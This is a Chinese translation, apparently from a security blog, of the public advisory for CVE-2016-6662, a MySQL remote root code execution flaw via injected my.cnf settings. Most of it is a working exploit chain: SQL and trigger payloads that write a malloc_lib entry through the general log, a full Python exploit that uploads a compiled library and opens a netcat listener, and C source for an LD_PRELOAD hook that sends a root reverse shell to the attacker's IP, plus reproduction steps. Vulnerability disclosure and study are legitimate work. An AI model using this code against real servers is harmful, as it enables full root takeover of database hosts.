【技术分享】CVE-2016-6662:Mysql远程代码执行/权限提升技术分析正式版(9/13 10:47更新)
作者:admin | 时间:2016-9-13 13:16:09 | 分类:黑客技术 隐藏侧边栏展开侧边栏
-
Discovered by: Dawid Golunski
-
-
dawid (at) legalhackers.com
-
CVE-2016-6662
-
Release date: 12.09.2016
-
Severity: Critical
I. VULNERABILITY
MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
5.6.33
5.5.52
克隆mysql的同样受影响, 包括:
MariaDB PerconaDB
II. INTRODUCTION
一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中,导致更加严重的后果。
该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,并可能被攻击者进行本地或者远程的利用。exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具,以及SQL注入漏洞等。
SQL注入漏洞是在web应用中最常见的漏洞之一,在存在注入漏洞的情况下,攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本,攻击用该漏洞的EXP可以以root权限执行任意代码,从而完全控制被攻击服务器。
目前官方还没有提供针对该漏洞的补丁,即使服务器开启了SELinux安全模式,也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc,演示攻击者如何实现远程代码执行。
III. DESCRIPTION
默认的Mysql安装包自带mysql_safe脚本,启动mysql服务器就可以观察到,例如,假如进行mysql全面更新。
Debian系统:
1
2
3
4
5
6
7
8
9
10
|
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
|
通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)
root@debian:~# service mysql start
或用如下方式启动:
root@debian:~# /etc/init.d/mysql start
Mysql服务的进程树看起来如下:
1
2
|
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
|
可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。
mysqld_safe封装脚本有以下功能 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
|
它可以用来在启动服务之前加载共享库,库文件可以通过下面的参数进行设置:
--malloc-lib=LIB
这个参数也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。
如果攻击者能够将其恶意的库文件路径插入到配置文件中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。
2003年公布的一个mysql 3.23.55之前版本的漏洞,允许攻击者利用一个简单的语句创建mysql配置文件:
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
这个漏洞被修复,利用outfile查询创建的文件默认是没办法覆盖现有文件的,这样可以保护现有的配置文件。该漏洞已经在mysql 3.23.55版本中修复,写入配置文件已经算不可能了。
然而POC证明,有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制,来实现如下的目标: 1,注入恶意配置文件到现有的mysql配置文件中,前提是配置文件权限配置不当,配置文件所属用户是mysql用户,并且mysql用户有配置文件的可写权限; 2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。 3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
IV. PROOF OF CONCEPT
1,利用不正确的权限配置(配置文件所属mysql用户,mysql用户有可写权限)注入恶意配置到mysql的配置文件;
当mysqld_safe脚本执行时,mysql配置文件从所有支持的位置逐一加载和处理,确切的配置文件位置取决于mysql的版本。 例如,如上所述: http://dev.mysql.com/doc/refman/5.5/en/option-files.html mysql5.5的配置位置包括:
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
默认额外文件,如果有~/my.cnf,用--defaults-extra-file参数来指定用户特定的配置。
目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限,才能让服务正常工作。许多安装指南,甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。 例如:
https://github.com/willfong/mariadb-backup/blob/master/README.md
提到:
用如下命令设置配置文件权限:
1
2
|
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf"
|
而在如下文章中提到:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
"你应该保护全局配置文件/etc/my.cnf,如果存在的该文件,所属用户应该是mysql用户,并且mysql用户要有读写权限,但其它用户只需要只读权限"。
shell> chown mysql /etc/my.cnf"
如果mysql用户有mysql配置文件的所属权限,攻击可以追加恶意的配置项,如下所示:
1
2
3
4
5
6
|
root@debian:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
|
攻击者可以运行下面的SQL查询:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
|
然后配置文件将增加如下的部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
|
这个配置将会让mysql启动失败,因为该文件中包含一些冗余的信息,然而最重要的部分是mysql配置文件包含了以下部分:
1
2
|
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
|
在mysqld守护进程启动之前,mysqldsafe将正确的读取共享库的路径,并把它添加到LDPRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文,为的是mysql能够正常启动。
2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。
mysqldsafe脚本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqldsafe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件,如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
|
从mysql 5.7开始移除了这个功能,然而在很多配置中,任然是从如下位置加载配置文件:
/var/lib/mysql/.my.cnf
mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:
1
2
|
root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
|
因此,如果没有所属mysql用户的配置文件,攻击者可能仍然能够利用此漏洞在如下位置创建配置文件:
/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf
正如前文提到的,用file权限创建这样的文件:
SELECT '恶意配置内容' INTO OUTFILE '/var/lib/mysql/my.cnf'
是行不通的,因为通过这种方式创建的文件权限如下:
1
|
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
|
mysql在启动的时候会组织这种全部可写的配置,但是攻击者利用该漏洞可以绕过这个限制:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
|
以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件:
1
2
|
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
|
这个文件包含的内容如下:
1
2
3
4
5
6
7
8
9
10
11
|
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
|
然而,依然存在一个问题,mysql会拒绝不以“[”符号开头的文件,会报错如下:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted
不过深入的测试证明可以绕过此安全限制导致的错误,继续看下文。
值得大家注意的是,cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件,并不需要file权限,只是报告者并未披露其它的漏洞。
3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
如果攻击者没有访问日志功能的管理权限,只有标准用户权限与另外的file权限,那么攻击者仍然可以获得写入修改配置文件的能力,可以利用一个恶意的触发器来实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
|
利用类似的语句创建触发器
1
|
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
|
当表刷新的时候就会执行触发器,比如通过insert来让表刷新:
1
|
INSERT INTO `active_table` VALUES('xyz');
|
触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使攻击者没有数据库管理员权限。
V. PROOF OF CONCEPT - 0day
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
|
----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
|
下面是0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容,当mysqld守护进程启动的时候,mysqldsafe会加载该恶意的共享库,然后会主动连接远程攻击者坚挺的6603端口,并给攻击者反弹一个root shell。
python脚本首先会创建修改mysql配置文件,加入如下内容:
[mysqld] malloclib=mysqlhookandroot_lib.so
然后当mysqld启动的时候,mysqld_safe会加载.so文件中的恶意内容,然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容,只保留[mysqld]这个字段,以确保mysqld服务能正常启动,之后就会向攻击者反弹一个root shell。在使用该文件的时候,需要调整一个接收shell的IP和端口,以及配置路径等。
使用如下命令进行编译:
1
|
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
|
mysqlhookandrootlib.c内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
|
复现测试流程:
1,创建一个测试用的数据库,并创建测试用户的账号和权限,如下:
1
2
3
|
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
|
2,将存在的mysql配置文件的所属用户修改成mysql用户,如下:
1
2
3
|
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
|
3,用attacker用户运行该exp,运行完毕重启mysql服务 首先,在.c文件中输入你的库路径; 接着,运行.py脚本。 如:
1
|
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
|
4,然后在定义的接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。
本文由 安全客 翻译,作者:苦逼司马